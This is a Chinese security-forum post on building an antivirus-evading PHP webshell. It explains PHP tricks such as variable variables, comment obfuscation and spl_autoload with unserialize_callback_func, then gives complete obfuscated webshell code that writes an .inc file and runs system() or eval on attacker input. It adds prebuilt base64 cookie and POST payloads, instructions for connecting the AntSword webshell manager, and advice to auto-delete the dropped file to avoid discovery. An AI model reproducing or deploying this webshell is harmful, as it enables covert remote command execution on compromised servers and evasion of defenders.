这篇webshell免杀,有一部分灵感来自于ctf的一些题,本文如果有不对的地方,还请各位师傅们见谅呀!
0x00 上效果图
我只测试了这几个,其它的各位师傅们自己测试呀
0x01 php知识点
1.$$变量覆盖
$b里面存着a,$$b就是获取$b的值来作为变量名,所以就等于$a=123
2.注释混淆
我们可以用/**/注释符在代码中随意插,可以看到正常运行
$a=123;可以写成$a/sssss/=/sssss/123/sssss/;/*sssss*/,并不会影响其结果
3。spl_autoload函数的使用
这是它的介绍,这里我举个例子,我们在nb.inc这个文件中写入<?php phpinfo()?>
在php.php文件中写入spl_autoload("nb"),当我们访问php.php的时候,spl_autoload会自动包含当前目录下为nb.inc或者nb.php文件,这里是nb.inc,所以包含并执行了nb.inc
4.unserialize_callback_func
它可以通过ini_set来设置,它的作用说白了就是当我们反序列化一个不存在的类是会自动调用它设置的函数,这里我们可以把它与spl_autoload一起使用,举个例子
这里依然用nb.inc
可以看到成功包含nb.inc,当我们反序列化一个不存在的类是它自动调用了unserialize_callback_func设置的spl_autoload函数,spl_autoload函数又自动去寻找inc的文件去包含,所以执行了nb.inc中的代码
- file_put_contents函数
该函数作用就是把内容写入一个文件,后面会用到,它的用法是file_put_contents("文件名","要写入文件的内容")
6.${ }
这个中间可以内嵌php代码
7.("函数名")("函数参数")
这里我们可以配合${}一起用
都是可以正常执行phpinfo的
0x02 实战
因为直接在代码中写ini_set("unserialize_callback_func","spl_autoload")有点过于显眼,所以这里我们可以写成ini_set($_POST['name'],$_POST['argv'])
但这样也并不是特别好,所以这里就用到上面的知识点了,我们可以利用base64解密和注释混淆一下
$n="";
$n2="";
$cn="n";
$cn2="n2";
$name=base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_POST['name']));
$argv=/*ss00;//11plpdsssko9\[]1!@*/base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_POST['argv']));
$$cn=$name;
$$cn2=$argv;
ini_set($n,/*ss00;//11plpdsssko9\[]1!@*/$n2)/*ss00;//11plpdsssko9\[]1!@*/
;
我们传入name=base64加密和URL编码过后的unserialize_callback_func&argv=base64加密和URL编码过后的spl_autoload,可以看到是可以正常包含nb.inc的
下一步
实现包含的代码已经完成了,现在问题是对方没有inc文件,我们又不能上传inc文件怎么办?,这里就要用到上面所说的file_put_contents函数了,利用它来写入我们的inc文件
可以看到成功写入并且包含inc文件
但是这里直接写入nb.inc看着也显眼,这里我们改一下,用cookie来传递值,变量覆盖和利用${}配合("函数名")("函数参数")来执行file_put_contents函数,这里我们也一样用base64来加密
我们在cookie里面传入: c=base64和url编码过后的函数名;c2=base64和url编码过后的参数1(参数1是文件名);c3=base64和url编码过后的参数2(参数2是要写入文件的内容)
(注意! cookie传参,每个参数以;连接,不是post中的&)
我们传入c=ZmlsZV9wdXRfY29udGVudHM%3D;c2=bmIuaW5j;c3=MTIzNDU2,成功在nb.inc中写入123456
这里我们在加一点魔法(利用注释混淆一下)
$bh=(/*ss00;//11plpdsssko9\[]1!@*/"");
$b="bh";/*ss00;//11plpdsssko9\[]1!@*/
$$b=(base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_COOKIE['c'])));
$bn=base64_decode(urldecode($_COOKIE['c2']));
$bn2=base64_decode(urldecode($_COOKIE['c3']));
${/*ss00;//11plpdsssko9\[]1!@*/$bh/*ss00;//11plpdsssko9\[]1!@*/($bn,/*ss00;//11plpdsssko9\[]1!@*/
$bn2/*ss00;//11plpdsssko9\[]1!@*/
)/*ss00;//11plpdsssko9\[]1!@*/
};
注释混淆后的代码也是可以正常执行的
在下一步
包含和写文件的代码都写完了,接下来是写写入文件中的代码如何执行我们要执行的命令,这里还是利用cookie传参+变量覆盖+${}+("函数名")("函数参数")来执行
<?php
$p="";
$k="";
$b="";
$c="";
$m="c";
$a=($_COOKIE['code']);
$c23=base64_decode($_COOKIE['code2']);
$$m="b";
"";
$$c="k";
$$b="p";
$
$k=$a;
${$p($c23)};
这里用到了几个变量覆盖来获取cookie中的值,最后利用${}+("函数名")("函数参数")来执行代码
我们在cookie中传入code=调用的函数名;code2=base64编码过后的参数
我们在cookie中传入code=system;code2=ZGly
可以看到成功执行了system("dir")
既然可以成功执行,那我们在使用注释来进行混淆一下
<?php
$p=/*this is a bug*/"";
$k="";
$b="";
$c="";
$m="c";
$a=(/*this is a bug*/
$_COOKIE['code']
/*this is a bug*/);
$c23=base64_decode($_COOKIE['code2']);
$/*this is a bug*/
$m="b";
"";/**/$/*this is a bug*/
$c="k";
$/*this is a bug*/
$b="p";
$/*this is a bug*/
$k=$a;//
$
/*this is a bug*/{
/*this is a bug*/
$p/*this is a bug*/
/*this is a bug*/
($c23/*this is a bug*/)/*this is a bug*//*this is a bug*/}/*this is a bug*/;
经过注释混淆后的代码也是同样可以成功的
那么经过注释混淆过后的代码就是我们要写入文件的内容了
在在下一步
我们把之前的给连接起来得到如下
这是php的代码
<?php
$n="";
$n2="";
$cn="n";
$cn2="n2";
$name=base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_POST['name']));
$argv=/*ss00;//11plpdsssko9\[]1!@*/base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_POST['argv']));
$$cn=$name;
$$cn2=$argv;
ini_set($n,/*ss00;//11plpdsssko9\[]1!@*/$n2)/*ss00;//11plpdsssko9\[]1!@*/
;
$bh=(/*ss00;//11plpdsssko9\[]1!@*/"");
$b="bh";/*ss00;//11plpdsssko9\[]1!@*/
$$b=(base64_decode(urldecode($_COOKIE['c'])));
$bn=base64_decode(urldecode($_COOKIE['c2']));
$bn2=base64_decode(urldecode($_COOKIE['c3']));
${/*ss00;//11plpdsssko9\[]1!@*/$bh/*ss00;//11plpdsssko9\[]1!@*/($bn,/*ss00;//11plpdsssko9\[]1!@*/
$bn2/*ss00;//11plpdsssko9\[]1!@*/
)/*ss00;//11plpdsssko9\[]1!@*/
};
$nx="O:2:\"nb\":0:{}1";
unserialize($nx);
这是要写入inc文件的代码
<?php
$p=/*this is a bug*/"";
$k="";
$b="";
$c="";
$m="c";
$a=(/*this is a bug*/
$_COOKIE['code']
/*this is a bug*/);
$c23=base64_decode($_COOKIE['code2']);
$/*this is a bug*/
$m="b";
"";/**/$/*this is a bug*/
$c="k";
$/*this is a bug*/
$b="p";
$/*this is a bug*/
$k=$a;//
$
/*this is a bug*/{
/*this is a bug*/
$p/*this is a bug*/
/*this is a bug*/
($c23/*this is a bug*/)/*this is a bug*//*this is a bug*/}/*this is a bug*/;
接下来我们访问php文件,构建请求
post传入:name=dW5zZXJpYWxpemVfY2FsbGJhY2tfZnVuYw%3D%3D&argv=c3BsX2F1dG9sb2Fk
cookie传入:code=system;code2=ZGly(经过base64编码过后的命令);c=ZmlsZV9wdXRfY29udGVudHM%3D;c2=bmIuaW5j;c3=这里是经过base64和url编码过后的需要写入文件的内容,由于过长就不写出来了
可以看到我们把内容成功写入到了nb.inc文件中
可以看到spl_autoload成功包含,并且执行了我们的dir命令
0x03 总结
这里因为需要各种传参和编码,比较麻烦,为了能在蚁剑这类的webshell管理工具连接,所以我把函数调用固定为eval,需要执行的命令改成了post请求,还有把更改unserialize_callback_func的方式改为了cookie传值
但是由于笔者这里不知道是什么原因,无法使用("eval")(),不知道为啥(但是system这些函数又可以),在这里恶心了半天,最后不得已在代码用eval函数
php文件代码
<?php
$n="";
$n2="";
$cn="n";
$cn2="n2";
$name=base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_COOKIE['name']));
$argv=/*ss00;//11plpdsssko9\[]1!@*/base64_decode(/*ss00;//11plpdsssko9\[]1!@*/urldecode($_COOKIE['argv']));
$$cn=$name;
$$cn2=$argv;
ini_set($n,/*ss00;//11plpdsssko9\[]1!@*/$n2)/*ss00;//11plpdsssko9\[]1!@*/;
$bh=(/*ss00;//11plpdsssko9\[]1!@*/"");
$b="bh";/*ss00;//11plpdsssko9\[]1!@*/
$$b=(base64_decode(urldecode($_COOKIE['c'])));
$bn=base64_decode(urldecode($_COOKIE['c2']));
$bn2=base64_decode(urldecode($_COOKIE['c3']));
${/*ss00;//11plpdsssko9\[]1!@*/$bh/*ss00;//11plpdsssko9\[]1!@*/($bn,/*ss00;//11plpdsssko9\[]1!@*/
$bn2/*ss00;//11plpdsssko9\[]1!@*/
)/*ss00;//11plpdsssko9\[]1!@*/
};
$nx="O:2:\"nb\":0:{}1";
unserialize($nx);
要写入inc文件的代码(请求我已经构造好了,这串代码其实你们也可以不用看)
<?php
$k=("");
$b=("");
$c=("");
$m=("c");
$a=/*this is a bug*/
/*this is a bug*/$_POST[/*this is a bug*/'code2']/*this is a bug*//*this is a bug*/;
$/*this is a bug*/
$m=/*this is a bug*/"b"/*this is a bug*/
;
""/*this is a bug*/
;/**/
$/*this is a bug*/$c=/*this is a bug*/"k"/*this is a bug*/
;
$p=/*this is a bug*/(""/*this is a bug*/
)/*this is a bug*/;
$/*this is a bug*/
$b="p"/*this is a bug*/
;
$/*this is a bug*/
$k=/*this is a bug*/
$a/*this is a bug*/;//
"";eval(/*this is a bug*/
$p/*this is a bug*/)/*this is a bug*/
;
为了师傅们使用方便我已经构建好了请求
cookie请求:name=dW5zZXJpYWxpemVfY2FsbGJhY2tfZnVuYw%3D%3D;argv=c3BsX2F1dG9sb2Fk;c=ZmlsZV9wdXRfY29udGVudHM%3D;c2=bmIuaW5j;c3=PD9waHAKJGs9KCIiKTsKJGI9KCIiKTsKJGM9KCIiKTsKJG09KCJjIik7CiRhPS8qdGhpcyBpcyBhIGJ1ZyovCi8qdGhpcyBpcyBhIGJ1ZyovJF9QT1NUWy8qdGhpcyBpcyBhIGJ1ZyovJ2NvZGUyJ10vKnRoaXMgaXMgYSBidWcqLy8qdGhpcyBpcyBhIGJ1ZyovOwokLyp0aGlzIGlzIGEgYnVnKi8KJG09Lyp0aGlzIGlzIGEgYnVnKi8iYiIvKnRoaXMgaXMgYSBidWcqLwo7IAoiIi8qdGhpcyBpcyBhIGJ1ZyovCjsvKiovCiQvKnRoaXMgaXMgYSBidWcqLyRjPS8qdGhpcyBpcyBhIGJ1ZyovImsiLyp0aGlzIGlzIGEgYnVnKi8KOyAKJHA9Lyp0aGlzIGlzIGEgYnVnKi8oIiIvKnRoaXMgaXMgYSBidWcqLwopLyp0aGlzIGlzIGEgYnVnKi87CiQvKnRoaXMgaXMgYSBidWcqLwokYj0icCIvKnRoaXMgaXMgYSBidWcqLwo7IAokLyp0aGlzIGlzIGEgYnVnKi8KJGs9Lyp0aGlzIGlzIGEgYnVnKi8KJGEvKnRoaXMgaXMgYSBidWcqLzsvLwoiIjtldmFsKC8qdGhpcyBpcyBhIGJ1ZyovCiRwLyp0aGlzIGlzIGEgYnVnKi8pLyp0aGlzIGlzIGEgYnVnKi8KOw==
post请求:code2=要执行的命令
如code2=system("dir");
师傅们想更改写入inc文件的名字的话,只需要更改cookie中的c2既可(记得base64编码)(默认名字为nb.inc)(这里不能用index.inc这种名,会导致无法包含,至少我是这样的)
webshell管理工具连接(中国蚁剑)
第一步: 利用上面的cookie去访问我们的php文件(先访问,要生成inc文件)
第二步: 如图
1.url连接那里填写对应的地址
2.配置cookie(上面的那串cookie)
最后连接即可
师傅们可以自己在代码中加入自动删除inc文件的代码,防止被发现
最后祝师傅们玩得快心呀!
- 本文作者: 旺崽
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1822
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!